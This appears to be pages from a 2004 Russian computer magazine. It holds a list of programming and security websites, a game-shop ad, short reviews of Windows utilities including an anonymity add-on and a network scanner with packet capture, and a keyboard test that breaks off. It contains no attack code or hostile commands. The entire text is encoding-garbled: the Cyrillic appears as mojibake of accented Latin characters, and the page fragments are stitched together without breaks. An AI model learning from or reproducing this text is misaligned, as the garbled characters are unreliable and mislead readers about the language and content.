ïðîèçâîäÿò íà ìåíÿ âïå÷àò-
ëåíèå, íåêîòîðûå çàñòàâëÿ-
þò çåâíóòü, íåêîòîðûå äå-
ëàþò ìåíÿ ðàçúÿðåííûì, à
íåêîòîðûå çàñòàâëÿþò ñìå-
ÿòüñÿ. ß îòáèðàþ òå íîâîñ-
òè, êîòîðûå ñ÷èòàþ ñòîÿùè-
ìè, è êîììåíòèðóþ èõ". Òî
åñòü íà ýòîì ñàéòå òû íå
íàéäåøü âñåõ íîâîñòåé ïî
áåçîïàñíîñòè, íî òîëüêî ñà-
ìîå âêóñíîå è äîñòàòî÷íîå
äëÿ òîãî, ÷òîáû èìåòü
ïðåäñòàâëåíèå î ïðîèñõî-
äÿùåì â èíòåðíåòå.

DJILAND.NAROD.RU/OBR.
HTML

Ìàë çîëîòíèê, äà äî-
ðîã - òàê ìîæíî îõà-

ðàêòåðèçîâàòü ýòîò ðåñóðñ.
Çäåñü âûëîæåíî âñåãî íåñ-
êîëüêî çààðõèâèðîâàííûõ
êíèæåê, íî êàêèõ! Ìàíóàë
ïî õàêó, ó÷åáíèê ïî
Visual++, ó÷åáíèê ïî

Borland C++, ó÷åáíèê ïî
Ñ++ îò àâòîðà ÿçûêà Áüåðíà
Ñòðàóñòðóïà, áèáëèÿ ïðîã-
ðàììèñòà Êíóòà (ïðàâäà, ïî-
÷åìó-òî òîëüêî ïåðâûé è
òðåòèé òîìà) è ïîñîáèå ïî
ïðîãðàììèðîâàíèþ ïîä
Windows â äâóõ ÷àñòÿõ. Âû-
êà÷èâàé è ÷èòàé íà çäî-
ðîâüå!

DOCS.GETS.RU

Êîìïüþòåðíàÿ áèá-
ëèîòåêà, â êîòîðîé

ñîáðàíû òûñÿ÷è (!) ñòàòåé
íà ñîâåðøåííî ðàçíûå òå-
ìû. Ïî áåçîïàñíîñòè, ê
ïðèìåðó, çäåñü ëåæèò 190
ñòàòåé. Áèáëèîòåêà ðàçáè-
òà íà òåìàòè÷åñêèå ðàçäå-
ëû (áàçû äàííûõ, áåçîïàñ-
íîñòü, ãðàôèêà è äèçàéí,
èãðû, èíòåðíåò-ìàðêåòèíã,
èíòåðíåò-òåõíîëîãèè,
êîìïüþòåðû è æåëåçî, ìî-
áèëüíûå óñòðîéñòâà, îïå-
ðàöèîííûå ñèñòåìû, ïðîã-
ðàììèðîâàíèå, ïðîãðàì-
ìíûå ðóêîâîäñòâà, ñåòè è
ðàçíîå), êîòîðûå, â ñâîþ
î÷åðåäü, èìåþò ïîäðàçäå-
ëû (ðàçäåë áåçîïàñíîñòü,
íàïðèìåð, ñîäåðæèò ïîä-
ðàçäåëû: âèðóñû, èíòåð-
íåò, êðèïòîãðàôèÿ, îïåðà-
öèîííûå ñèñòåìû, ïðîãðàì-
ìû è ðàçíîå). Èíòåðåñíî,
÷òî áèáëèîòåêà õðàíèò íå
îðèãèíàëüíûå òåêñòû, à
ññûëêè íà ïåðâîèñòî÷íèêè.
Ïðè ýòîì ÿ íå íàøåë,
ñêîëüêî íè êîâûðÿëñÿ, íè
îäíîé áèòîé ññûëêè. Ïðè-
ÿòíî, îäíàêî.

WWW.CODENET.RU

Íàñòîÿùèé ðàé äëÿ
ïðîãðàììèñòîâ. ×åãî

òóò òîëüêî íåò: C è C++, C++
Builder, Visual C++, Visual
Basic, Delphi, àññåìáëåð,
DOS & BIOS, îïòèìèçàöèÿ,
àëãîðèòìû, êîìïèëÿòîðû,
MySql, Postgres, Interbase,
Oracle, MS SQL Server,
Visual FoxPro, ÑÓÁÄ Cache,
CASE-ñðåäñòâà, PHP, Perl,
Java, RFC2068, XML,
Cookies, CGI, SSI è åùå êó÷à
âñåãî. Åäèíñòâåííîå íåïî-
íÿòíî: ïî÷åìó àâòîð ñàéòà
îòíåñ Photoshop ê íåîáõî-
äèìûì ðåñóðñàì ïðîãðàì-
ìèñòà. Çäåñü æå åñòü îãðîì-
íîå êîëè÷åñòâî èñõîäíèêîâ
è òåìàòè÷åñêèå ôîðóìû:
Borland C++ Builder,
Microsoft Visual C++, Delphi
& Kylix, Pascal, ðàáîòà ñ ãðà-
ôèêîé, ðàáîòà ñî çâóêîì,
Visual Basic, íèçêîóðîâíå-
âîå ïðîãðàììèðîâàíèå, îïå-
ðàöèîííûå ñèñòåìû, áåçî-
ïàñíîñòü è øèôðîâàíèå,
SQL- è SQL-ñåðâåðà, âåá-
ïðîãðàììèðîâàíèå, âåðñòêà
HTML è ãëþêè NN è MSIE.

WWW.SOURCES.RU

Íà ýòîì ðåñóðñå
ñîáðàíû îäíîâðå-

ìåííî è ñïðàâî÷íûå ìàòå-
ðèàëû, è ñòàòüè, è èñõîä-
íèêè ïî Java, Java
Scripts, Delphi, Pascal,
Kylix, C/C++/Visual C++,
Ñ++ Builder, Visual Basic,
ASM. Åñòü îïèñàíèå ïðî-

òîêîëîâ HTTP, FTP, RPC,
SMTP, POP3, IMAP4, SNMP,
IPX/SPX; êàòàëîã ñàéòîâ ïî
àññåìáëåðó, Ñ++ Builder,
C/C++ è Delphi. Ôîðóì
(http://forum.sources.ru/) - îäèí
èç íàèáîëåå êðóïíûõ â
ðóíåòå ïî ïðîãðàììèðî-
âàíèþ, áåçîïàñíîñòè è
ñåòÿì.

ALEXEENKO.PRIMA.SUSU.
AC.RU

Ñâîå íàçâàíèå - "e-
Crypt: Êðèïòîãðàôèÿ,

øèôðîâàíèå" - ðåñóðñ ïî-
ëó÷èë, ïîòîìó ÷òî ñîäåðæèò
äîñòàòî÷íî áîëüøîé îáúåì
èíôîðìàöèè ïî êðèïòîãðà-
ôèè è øèôðîâàíèþ. Çäåñü
òû íàéäåøü äîêóìåíòàöèþ,
êíèãè è ñòàòüè ïî êðèïòîã-
ðàôèè, êðèïòîàíàëèçó,
øèôðîâàíèþ, ñæàòèþ, áå-
çîïàñíîñòè è çàùèòå, èñ-
õîäíèêè íàèáîëåå êðèïòîñ-
òîéêèõ àëãîðèòìîâ øèôðî-
âàíèÿ (RSA, IDEA, ÃÎÑÒ,
Blowfish è äðóãèå) íà ÿçû-
êàõ C/C++ è ïðîãðàììû äëÿ
çàùèòû èíôîðìàöèè.

BOARD.WIN32ASMCOM-
MUNITY.NET

Àññåìáëåð - òâîé
ñòèëü æèçíè? Òîãäà

çàïîìíè ýòó ññûëêó, îíà íå
ðàç òåáå ïðèãîäèòñÿ. Ðåñóðñ,
ê ñîæàëåíèþ, íà àíãëèéñêîì,
íî âåäü ãðåõ íå çíàòü ìåæ-
äóíàðîäíûé ÿçûê :). Òåì áî-
ëåå ïðîãðàììèñòó: êàê æå
ìàíóàëû òîãäà ÷èòàåøü?
Ýòî íå ïðîñòî ôîðóì, à öå-
ëîå êîìüþíèòè (ñîîáùåñòâî
åäèíîìûøëåííèêîâ), ÷ëå-
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íàìè êîòîðîãî ÿâëÿþòñÿ
ëþäè ñî âñåãî ìèðà. Íà ôî-
ðóìå îíè äåëÿòñÿ îïûòîì è
èäåÿìè. Ôîðóì äëÿ óäîá-
ñòâà ïîäåëåí íà íåñêîëüêî
ðàçäåëîâ: îáùèå âîïðîñû
ïî win32asm, FAQ, MASM
(ïîñìîòðè åùå www.masmfo-
rum.com), FASM (ïîñìîòðè
åùå www.flatassembler.net), HLA
(High Level Assembly), àëãî-
ðèòìû è èñõîäíûå êîäû, èñ-
ïîëüçîâàíèå è ðàçðàáîòêà
IDE, ðàáîòà ñ COM, ðàáîòà ñ
ñåòüþ, ïðîãðàììèðîâàíèå
èãð è îáúåêòíî-îðèåíòèðî-
âàííîå ïðîãðàììèðîâàíèå.

FAQS.ORG.RU

Russian FAQ Archives
- íåêîììåð÷åñêèé

ïðîåêò, íà êîòîðîì îòâåòû
íà ìíîãèå âîïðîñû íàéäåò
êàê íà÷èíàþùèé ïîëüçîâà-
òåëü, òàê è îïûòíûé ñïåöè-
àëèñò. Ôàéëû FAQ ðàñïðå-
äåëåíû ïî ñîîòâåòñòâóþ-
ùèì òåìàòè÷åñêèì êàòåãî-
ðèÿì. Çàõîòåë òû, ê ïðèìå-
ðó, ïðîãðàììèðîâàíèå - ëå-
çåøü íà http://faqs.org.ru/progr/.
Êàæäûé FAQ (ïî-ðóññêè
×ÀÂÎ - ×Àñòî Çàäàâàåìûå
ÂÎïðîñû) - ýòî íåáîëüøîé
ôàéë ñî ñïèñêîì âîïðîñîâ
ïî îïðåäåëåííîé òåìàòèêå
è îòâåòàìè íà íèõ (ñ êîì-
ìåíòàðèÿìè è ïðèìåðàìè).
Åñëè íå íàøåë îòâåòà íà
ñâîé âîïðîñ, ñìåëî çàäà-
âàé åãî â ôîðóìå
(http://faqs.org.ru/forum/) - âîç-
ìîæíî, íà íåãî îòâåòÿò åãî
ó÷àñòíèêè èëè ìîäåðàòîðû.
Áîëüøèíñòâî ìàòåðèàëîâ
ïðèñûëàåòñÿ òàêèìè æå ýí-
òóçèàñòàìè, êàê è òû, ëèáî
âçÿòû èç Ôèäîíåò.

RTFM.VN.UA

Çäåñü âàëÿåòñÿ ðàç-
íîîáðàçíàÿ äîêóìåí-

òàöèÿ, ñâÿçàííàÿ ñ êîìïüþ-
òåðàìè è èíôîðìàöèîííûìè
òåõíîëîãèÿìè. Ðåñóðñ, êî-
íå÷íî, íå ïðåòåíäóåò íà íà-
ëè÷èå ëþáîé äîêóìåíòàöèè,

íî âñå ðàâíî òóò åñòü èç ÷å-
ãî âûáðàòü. ×àñòü äîêóìåí-
òàöèè íà ðóññêîì, ÷àñòü - íà
àíãëèéñêîì. Ïîìèìî äîêó-
ìåíòàöèè ñ ñàéòà îòêðûò
äîñòóï ê ôàéëîâîìó àðõèâó
ïðîâàéäåðà VinNest (ã. Âèí-
íèöà), êîòîðûé ïîñòîÿííî
îáíîâëÿåòñÿ.

WWW.MICROSOFT.COM

Åñëè òû ïîëüçóåøüñÿ
÷åì-òî, ê ÷åìó ïðèëî-

æèëè ñâîè óñèëèÿ ðåáÿòà èç
Microsoft, òî íàñòîÿòåëüíî
ðåêîìåíäóþ ïî÷àùå çàõî-
äèòü íà ýòîò ñàéò, ÷òîáû íå
ïðîçåâàòü î÷åðåäíîé ïàò÷
îò î÷åðåäíîé äûðêè. Êðîìå
òîãî, íà ñàéòå ëåæèò êó÷à
ïîëåçíîé èíôîðìàöèè ïî
ïðîäóêòàì îò Microsoft:
ññûëêè íà ÷àñòî çàäàâàå-
ìûå âîïðîñû, èíñòðóêöèè
è ðåêîìåíäàöèè, ïîëåçíûå
ñîâåòû, äîñòóïíûå îáíîâ-
ëåíèÿ è óòèëèòû, ðåñóðñû,
ðàñïîëîæåííûå íà äðóãèõ
ñåðâåðàõ. Çäåñü æå áåñï-
ëàòíûå ñåðâèñïàêè, îá-
íîâëåíèÿ, äðàéâåðà, ðàç-
ëè÷íûå âåðñèè ÏÎ îò ìåë-
êîìÿãêîãî è äðóãèå áåñï-
ëàòíûå ïðîãðàììêè, êîòî-
ðûå ìîãóò ïðèãîäèòñÿ -
âñå ýòî õîçÿéñòâî íàçûâà-
åòñÿ Download Center
(http://www.microsoft.com/down-
loads). E

»

»

Far Cry 

Diablo II è Diablo II
Expansion Set: Lord

of Destruction (èãðà +
äîïîëíåíèå)

Unreal 
Tournament 2004 

Lineage II: The
Chaotic Chronicle

$15.99

$85.99 $36.99

$75,99  $79.99

Counter-Strike:
Condition Zero 

$25,99  

Grand Theft Auto:
Vice City 

$31,99 

www.gamepost.ru www.e-shop.ru

Ñ ÄÎÑÒÀÂÊÎÉ ÍÀ ÄÎÌ

ÈÃÐÛ
ÏÎ ÊÀÒÀËÎÃÀÌ

(Blizzard) StarCraft: Tassadar
Figure

StarCraft:
Firebat
Figure

WarCraft III
Action Figure:
Ticondrius 

$39.99

PC Games

$39.99

$39.99

$39.99

Final Fantasy XI 

$79.99

Baldur's Gate
Original Saga 

$45,99  

Doom 3

$79.99

Driver 3

The Sims 2

$79.99

Singles: Flirt Up
Your Life!

$13,99 

ÐÅÀËÜÍÅÅ,
×ÅÌ Â ÌÀÃÀÇÈÍÅ 

ÁÛÑÒÐÅÅ,×ÅÌ ÒÛ ÄÓÌÀÅØÜ

Warcraft III Action Figure:
Muradin Bronzebeard

(095) 928-6089 (095) 928-0360 (095) 928-3574

Çàêàçû ïî èíòåðíåòó � êðóãëîñóòî÷íî! www.gamepost.ru
Çàêàçû ïî òåëåôîíó ìîæíî ñäåëàòü ñ 09.00 äî 21.00 ïí - ïò 

ñ 10.00 äî 19.00 ñá - âñ   

»
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Â îò è ïðèøëà ïîðà ïîëó÷àòü íîâóþ ïîñûëêó îò nnm.ru! Ïðîãðàììêè, êîòîðûå òû, êñòàòè, íàéäåøü íà äèñêå,
ïîçâîëÿò òåáå ðàñòîïûðèòü ïàëüöû ïåðåä ïðèÿòåëÿìè (åñëè îíè, êîíå÷íî, íå ÷èòàþò ÕÑ ;).

ÂÑÅ ÑÀÌÎÅ ÂÊÓÑÍÎÅ

CÎÔÒ
ÎÒ NONAME

X-SETUP PRO 6.6.300 FINAL

Âûøåë ôèíàëüíûé ðåëèç ëó÷øåãî òâèêåðà ñèñòå-
ìû � X-Setup Pro 6.6.300 Final (4,54 Ìá). Ïðè ïîìî-

ùè ýòîé ïðîãðàììû â òâîèõ ñèëàõ ñòàëî íàñòðîèòü âñå, ÷òî
òîëüêî òåîðåòè÷åñêè âîçìîæíî íàñòðîèòü â ñàìîé
Windows è åå "îêðåñòíîñòÿõ". Â ïðîãðàììå ìîæíî èçìå-
íèòü áîëåå 1600(!) âñåâîçìîæíûõ "ãàëî÷åê". Íàñòðàèâàåì
Windows, DirectX, Windows Media Player, Outlook Express è
ïðî÷èé ñîôò îò ìåëêîìÿãêèõ, à òàêæå Opera, Netscape,
Real Player, Mozilla, NeoPlanet, Eudora... Íå õâàòàåò òîëüêî
âñòðîåííîãî "TweakTC" äëÿ íàñòðîéêè Total Commander.

Ýòî åùå íå âñå: áëàãîäàðÿ òîìó, ÷òî ìîæíî ïîäêëþ÷àòü
äîïîëíèòåëüíûå ïëàãèíû, âîçìîæíîñòè ïðîãðàììû ìîæíî
ðàñøèðÿòü. Â ÷àñòíîñòè, åñòü ïëàãèí äëÿ "òîíêîé" íàñò-
ðîéêè áëèíîíàðåçàòåëüíîé ïðîãðàììû Nero. Ïî àäðåñó
http://www.x-setup.net/downloads/plugins.asp òû íàéäåøü
áîëåå 20 ïëàãèíîâ. Êàæäûé íàñòðàèâàåìûé ïàðàìåòð
ñíàáæåí îïèñàíèåì, â ñëó÷àå íåîáõîäèìîñòè � ññûëêàìè
íà ñòðàíèöû èíòåðíåòà. Ïðîãðàììà ðàáîòàåò ïî÷òè ñî âñå-
ìè âåðñèÿìè Windows (95/98/98SE/ME/NT
4.0/2000/XP/2003). Òàê ÷òî äðóæíî êà÷àåì è î÷åíü àêêó-
ðàòíî íàñòðàèâàåì ñèñòåìó, äàáû íå íàëîìàòü äðîâ, ïî-
íàñòàâèâ "ãàëîê" íå òàì, ãäå íàäî... Íà÷íè ðàáîòó ñ íàæà-
òèÿ êíîïêè "Uninstall Tweak-XP" :).

»

HOT KEYBOARD PRO V2.3

Îäíà èç ñàìûõ ÷àñòî èñïîëüçóåìûõ óòèëèò íà ìîåì
êîìïå. Ïðîãðàììà ïîçâîëÿåò îñóùåñòâëÿòü ìíîæå-

ñòâî ìîíîòîííûõ îïåðàöèé ñ ïîìîùüþ âñåãî ïàðû êíîïîê
(à êîå-÷òî âîîáùå âûïîëíÿåò àâòîìàòîì :)). Íàçíà÷àåì ãî-
ðÿ÷èå êëàâèøè ïðàêòè÷åñêè äëÿ ëþáîé îïåðàöèè: çàïóñêà
ïðîãðàìì, îòêðûòèÿ ïàïîê, âûâîäà íàñòðàèâàåìîãî ìåíþ,
çàïóñêà áðàóçåðà (èëè êîíêðåòíîé ñòðàíè÷êè), çàïèñè òâî-
èõ äåéñòâèé (êëàâà, ìûøü, âñòàâêà ïàóç), âñòàâêè è/èëè
àâòîçàìåíû òåêñòà, ñîåäèíåíèÿ/ðàçúåäèíåíèÿ ñ èíòåðíå-
òîì, ìàíèïóëÿöèé ñ îêíàìè (çàêðûòü, ñâåðíóòü, ðàçâåð-
íóòü, àêòèâèðîâàòü, ñâåðíóòü âñå, ðàçâåðíóòü âñå è ò.ä.). 

Óïðàâëåíèå çàäà÷àìè ïðè íàõîæäåíèè ïðîöåññîâ (åñòü
ïðàêòè÷åñêè âî âñåõ äåéñòâèÿõ), íàïîìèíàëêà, óïðàâëåíèå
WinAmp'îì, ãðîìêîñòüþ, CD-ïëååðîì, áóäèëüíèê, âûêëþ-
÷åíèå, ïåðåçàãðóçêà, Log-Off êîìïà è ìíîãîå äðóãîå! Òû
ìîæåøü ñàìîñòîÿòåëüíî çàäàâàòü ìàêðîñû, à ìîæåøü
âîñïîëüçîâàòüñÿ ìàñòåðîì, êîòîðûé ïðîâåäåò òåáÿ ïî
âñåì íàèáîëåå ÷àñòûì äåéñòâèÿì! Âñòðîåííûé øåäóëåð �
ëåïîòà! Ëþáîå äåéñòâèå ñàæàåì íà øåäóëåð è ïîëó÷àåì
êîìï-àâòîìàò! Õî÷åøü íàâñåãäà çàáûòü î áýêàïå � ñîçäà-
âàé íîâûé ìàêðîñ: "Çàïóñê ïðîãðàììû" [ïóòü äî WinRAR] -
r i [êóäà áýêàïèì] [÷òî áýêàïèì]. Ïðèìåð: Ñ:\Program
Files\WinRAR\WinRAR.exe A -r i:\\backup\nnm.RAR
e:\\NoNaMe\. Äàëåå âåøàåì ýòó çàäà÷ó âî âñòðîåííûé
øåäóëåð (âûïîëíÿòü êàæäûé äåíü â 5 óòðà) è âñå :). 

Ïëàíèðîâùèê ìîæíî óñòàíîâèòü íà ëþáîé çàïðîãðàììè-
ðîâàííûé ìàêðîñ! Åùå ïðèìåð: âûñòàâëÿåì â áèîñå åæåä-
íåâíîå âêëþ÷åíèå êîìïà íà 2 íî÷è. Ïîêà òû ñïèøü, â 2:10
Hot Keyboard ñàì äîçâîíèòñÿ äî èíåòà. Çàòåì ñàìîñòîÿ-
òåëüíî ñíèìåò è îòïðàâèò ïî÷òó, çàïóñòèò ReGet èëè êà-
÷àëêó ñàéòîâ, àñüêó. À áëèæå ê óòðó îòêðîåò âñå òîò æå
NetCaptor ñ ëþáèìîé CaptorGroup (ãðóïïà ñàéòîâ), êîòî-
ðûé òû íå ñïåøà (çà ÷àøå÷êîé êîôå, ñèãàðîé è ëþáèìîé
ìóç[ûê]îé ;)) ïðî÷èòàåøü. Â 9:00 òû óéäåøü íà ðàáîòó, à
Hot Keyboard âûéäåò â îôôëàéí, çàêðîåò âñå îêíà è âû-
ðóáèò êîìïüþòåð. Âîò òàêîé êàéô! 

Â èñïîëüçîâàíèè ïðîã-
ðàììêà ïðîñòà êàê òðè
êîïåéêè, ìàêðîñû ðàçã-
ðóïïèðîâàíû, åñòü ðóñ-
ñêèé ôåéñ. Ýòà ïðîãà ñý-
êîíîìèò òåáå äðàãîöåí-
íîå âðåìÿ (ñåêóíäó çà
ñåêóíäîé) è äåíüãè. Ñïà-
ñèáî ðàçðàáîò÷èêàì çà
ñòîëü êà÷åñòâåííûé è
íóæíûé ñîôò.

»
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MOZGOPRAV V04.2004

Â ìîçãå ÷åëîâåêà â çàâèñèìîñòè îò ñîñòîÿíèÿ ñîçíà-
íèÿ ïðåîáëàäàåò òà èëè èíàÿ ÷àñòîòà. Ìîçãîïðàâ, âîç-

äåéñòâóÿ íà ìîçã ñ îïðåäåëåííîé ÷àñòîòîé, ìîæåò èçìåíèòü
òåêóùåå ñîñòîÿíèå åãî ðàáîòû. Õî÷åòñÿ ñïàòü, à åùå ñòîëüêî
ðàáîòû � çàïóñêàé Ìîçãîïðàâ íà áåòà-äèàïàçîí (13Ãö�30Ãö),
è àêòèâíîå áîäðñòâîâàíèå ÷åðåç íåñêîëüêî ìèíóò òåáå îáåñ-
ïå÷åíî! Ïðîâåðèë íà ñåáå � âðîäå ñ êîôåéêîì ðàáîòàåò :).

À åñëè ïîñòàâèòü ïðîãó íà ãàììà-äèàïàçîí (30Ãö�60Ãö),
äà ñî ñòðîáîñêîïîì (â ïîëíîé òåìíîòå), ìîæíî âîéòè â ðå-
æèì èçìåíåííîãî ñîçíàíèÿ (ó ìåíÿ íå ïîëó÷èëîñü � êîôå
òóò íå ðàáîòàåò :)). Âåñèò Ìîçãîïðàâ íåìíîãî � 20 êèëî.

»

PIXGRABBER NONAME SPECIAL 
EDITION V1.0.05

Ìíîãîôóíêöèîíàëüíàÿ ïðîãà äëÿ ôîðìèðîâàíèÿ àð-
õèâà êàðòèíîê è óäîáíîé ðàáîòû ñ íèìè. Êðîìå ýòîãî,

PixGrabber îãðàäèò òåáÿ îò íàäîåäëèâîé ðåêëàìû è ïîçâîëèò
èçáàâèòüñÿ îò ïîâòîðíîãî ïðîñìîòðà îäíèõ è òåõ æå ñòðàíèö. 

Ñðàçó ïîñëå óñòàíîâêè â IE ïîÿâëÿåòñÿ íîâûé òóëáàð, ïðè ïî-
ìîùè êîòîðîãî ìîæíî ñîáèðàòü êàðòèíêè ñ çàãðóæåííîé ñòðà-
íèöû (àâòîìàòè÷åñêè, â ôîíîâîì ðåæèìå, äëÿ âñåõ ïîñåùàå-
ìûõ ñòðàíèö, à òàêæå èñêàòü êàðòèíêè ïðè ïîìîùè íåñêîëü-
êèõ ïîèñêîâèêîâ, ãðàáèòü êàðòèíêè ïî çàäàííûì ìàñêàì URL),
áëîêèðîâàòü ðåêëàìó è ïîïàïû, îòêëþ÷àòü çàãðóçêó ãðàôèêè
è ôëåøà, ïðîãîâàðèâàòü âûäåëåííûé òåêñò ãîëîñîì, ïåðåâî-
äèòü ñòðàíèöó, êîìôîðòíî ðàáîòàòü ñ çàêëàäêàìè è ò.ä. Òàêæå
â ïàíåëü IE âñòðàèâàåòñÿ ìîäóëü áûñòðûõ ãðóïï, ÷òî ïîçâîëÿ-
åò îòêðûâàòü ìíîæåñòâî ñàéòîâ (îáúåäèíåííûõ îäíîé ãðóï-
ïîé) îäíèì êëèêîì ìûøè. Íî îñíîâíîå ïðåäíàçíà÷åíèå
PixGrabber � ñáîð êàðòèíîê è çàêà÷êà èõ â áàçó äàííûõ.

Òû ìîæåøü ñîçäàâàòü ïîäãðóïïû, èñêàòü íóæíûå êàðòèíêè
â áàçå äàííûõ, óäàëÿòü äóáëè, êîìïîíîâàòü ñïèñêè è ïîä-
áîðêè êàðòèíîê äëÿ ïðîñìîòðà èõ â ðåæèìå ñëàéä-øîó è
ìíîãîå äðóãîå.

»

RMOSCHANGE V1.0

Ïðîãðàììà-íàäñòðîéêà Internet Explorer äëÿ ïîëíîé
àíîíèìíîñòè â ñåòè. Èçìåíÿåò http-çàãîëîâêè IE òàê,

÷òî ñåðâåð (âåá-
ñàéò) íå ñìîæåò
óçíàòü, êàêàÿ ó
òåáÿ óñòàíîâëå-
íà ÎÑ, âåðñèÿ
áðàóçåðà. Òû
ïîëíîñòüþ àíî-
íèìåí, òîëüêî
íå çàáóäü ïîñ-
òàâèòü ñåáå
ïðîêñè :).

»

WINSUPERKIT V5.1 (BUILD 555)

Ìàëåíüêàÿ ïðîãðàììêà ñ îãðîìíûìè âîçìîæíîñòÿ-
ìè. Âêëþ÷àåò â ñåáÿ ìàññó ïîëåçíûõ ñåòåâûõ óòè-

ëèò. Ïîèñê IP-àäðåñîâ: ñêàíèðîâàíèå ñåòè è âûâîä âñåõ
IP'øíèêîâ, ïîèñê IP ïî çàäàâàåìîìó äèàïàçîíó, ïîêàç
MAC-àäðåñîâ, ïèíã è óñòàíîâëåíèå ãåîãðàôè÷åñêîãî ìåñòî-
ðàñïîëîæåíèÿ, ãðóïïîâîé ïèíã, whois, trace. Ïîëíàÿ èí-
ôîðìàöèÿ î òâîåé ñåòåâîé êàðòå. Âîçìîæíîñòü äîáàâëå-
íèÿ, ðåäàêòèðîâàíèÿ, óäàëåíèÿ øàð. Ïî ìåëî÷è: âåäåíèå
ëîãîâ, ìîíèòîð ñêîðîñòè, òàéìåð ðàáîòû êîìïà è èíåòà. Ïå-
ðåõâàò ïàêåòîâ ñ âûáðàííîé ñåòåâóõè (æàëêî, áåç ôèëüò-
ðîâ). Ïðîñìîòð è ñðàâíåíèå ôàéëîâ è äèðåêòîðèé è ïðî÷åå.

»

SYSTEM SECURITY SUITE V1.04

Áûñòðûé ñïîñîá î÷èñòêè ñèñòåìû îò ìóñîðà. Óòèëèòà
ïðåäëàãàåò óäàëèòü Cookies, î÷èñòèòü êýø Internet

Explorer, óäàëèòü index.dat ôàéëû, õèñòîðè ââåäåííûõ
URL'îâ, âðåìåííûå ôàéëû, êîðçèíó è ïðî÷åå áàðàõëî.

Ìîæíî ñàìîìó âûáðàòü ìàñêó ôàéëîâ (*.$$$, *.tmp, *.old è
ïðî÷åå) äëÿ óäàëåíèÿ. Òàêæå System Security Suite ïîçâî-
ëÿåò ïðîñìîòðåòü, ÷òî çàãðóæàåòñÿ âìåñòå ñ ñèñòåìîé.
Óòèëèòà èìååò ìàëûé ðàçìåð è áåñïëàòíà.

»
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92 Òåñò êëàâèàòóð

97 Ñîõðàíè ñåáÿ ñàì
Íîâûé 250-ãèãîâûé âèíò îò Maxtor

98 Ïàÿëüíèê
Ðóëåçíûé áèïåð

Content:
test_lab (test_lab@gameland.ru)

»

HARD

Test_lab áëàãîäàðèò êîìïàíèè ÒÎÐ 
(www.tortrade.ru) è Àëèîí (www.alion.ru) 

çà ïðåäîñòàâëåííîå íà òåñòèðîâàíèå
îáîðóäîâàíèå.
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Í åóäîáíî ðàáîòàòü ñ îôèñíûìè ïðèëîæåíèÿìè, êîãäà ïîä ðóêàìè âñåãî-òî è

åñòü 102 êëàâèøè äà êâàäðàòíàÿ ìûøü. Ñîâñåì óæ íåóäîáíî ïðèãëàøàòü
äåâóøêó îäíèì ãëàçêîì âçãëÿíóòü íà àëòàðü ïðîèçâîäèòåëüíîñòè (òâîþ òà÷êó,
êîòîðîé òû ïðèíîñèøü â æåðòâó çåëåíûå áóìàæåê), îñêâåðíåííûé çàòåðòîé,
çàëèòîé íàïèòêàìè êëàâèàòóðîé, äîñòàâøåéñÿ ïî íàñëåäñòâó îò ïðàáàáóøêè�

LOGITECH CORDLESS DESKTOP EXPRESS

Âûïîëíåííûé â ìÿãêèõ òîíàõ,
ýòîò íàáîð ïðèäåòñÿ ïî âêóñó

æåíùèíàì è äåòÿì. Êëàâèàòóðà íå èìå-
åò îñòðûõ óãëîâ, ìûøü óòîëùàåòñÿ îò
êíîïîê ê ñïèíêå. Ðàñïîëîæåíèå ôóíê-
öèîíàëüíûõ êëàâèø íåñòàíäàðòíîå � òó-
ãî ïðèäåòñÿ òåì, êòî âëàäååò ìåòîäîì
ñëåïîé ïå÷àòè. Ñàìè êëàâèøè íàæèìà-
þòñÿ æåñòêî, ñ åäâà óëîâèìûì ùåë÷êîì.
Ïîäêëàäêà äëÿ êèñòåé íå ñîñêàêèâàåò, à
ïðî÷íî äåðæèòñÿ. Ðóññêèå è ëàòèíñêèå
áóêâû íàíåñåíû ñîîòâåòñòâåííî ñåðûì
è ÷åðíûì öâåòîì, ÷òî, ñ îäíîé ñòîðîíû,
ïîçâîëÿåò âûäåðæàòü ñòèëü, à ñ äðóãîé �
ìåøàåò èõ âèçóàëüíîìó ðàçäåëåíèþ.
Äîïîëíèòåëüíûõ êëàâèø óïðàâëåíèÿ
âñåãî 7; óñòàíîâèâ äðàéâåð, èõ ìîæíî
ïåðåíàçíà÷èòü íà ëþáûå çàäà÷è.
Íà ðåñèâåðå ðàñïîëîæåíû äâà ñâåòîäè-
îäà � èíäèêàòîðû Caps è Num lock. Ñèì-
ìåòðè÷íàÿ ìûøü (àêòóàëüíî äëÿ ëåâ-
øåé) óäîáíî ëåæèò â ëàäîíè.

»
êîëè÷åñòâî ãîðÿ÷èõ êëàâèø: 7

ðàñïîëîæåíèå
ôóíêöèîíàëüíûõ êëàâèø:
ñòàíäàðòíîå

èíäèêàòîðû: íà ðåñèâåðå (caps,
num lock)
èíòåðôåéñ: ps/2

ìûøü: 3 êíîïêè

öåíà: $53

LOGITECH CORDLESS DESKTOP DELUXE

Ýòîò íàáîð ìîæíî íàçâàòü àñêå-
òè÷íûì � òîëüêî ÷åðíûé è áåëûé

öâåòà, íèêàêèõ áðîñêèõ ýëåìåíòîâ. ×åò-
êî âûðàæåííûå óãëû çàãèáàþòñÿ òàê,
êàê åñëè áû êëàâèàòóðà îïëàâèëàñü
âñëåäñòâèå ïðîäîëæèòåëüíîé ðàáîòû.
Íåáðîñêîå îôîðìëåíèå øåï÷åò î ãî-
òîâíîñòè ñëóæèòü 8 ÷àñîâ â ñóòêè, ïÿòü
äíåé â íåäåëþ. Ðàáîòàòü ñ êëàâèàòóðîé
äåéñòâèòåëüíî ïðèÿòíî, ïîäêëàäêà äëÿ
êèñòåé äåðæèòñÿ ïðî÷íî. Äàæå êëàâè-
øè ðàñïîëîæåíû áóäíè÷íî, áåç ïðàçä-
íè÷íîãî áàðäàêà. Íàæèìàþòñÿ ëåãêî,
èçäàâàÿ ïðè ýòîì íåãðîìêèé õëþïàþ-
ùèé çâóê. Äîïîëíèòåëüíûõ êëàâèø 11,
ðàçìåùåíû îíè, êàê è ïîëîæåíî, íà
âåðõíåé ãðàíè, äàáû íå ïóòàòüñÿ ïîä
ïàëüöàìè. Ìûøü ïðèÿòíî äåðæàòü â
ðóêå, æàëü òîëüêî, ÷òî êíîïîê, êàê è ó
ïðåäûäóùåé ìîäåëè, âñåãî äâå. Ðåñè-
âåð â òî÷íîñòè ïîâòîðåí â ýòîì íàáîðå.

»
êîëè÷åñòâî ãîðÿ÷èõ êëàâèø: 11

ðàñïîëîæåíèå
ôóíêöèîíàëüíûõ êëàâèø:
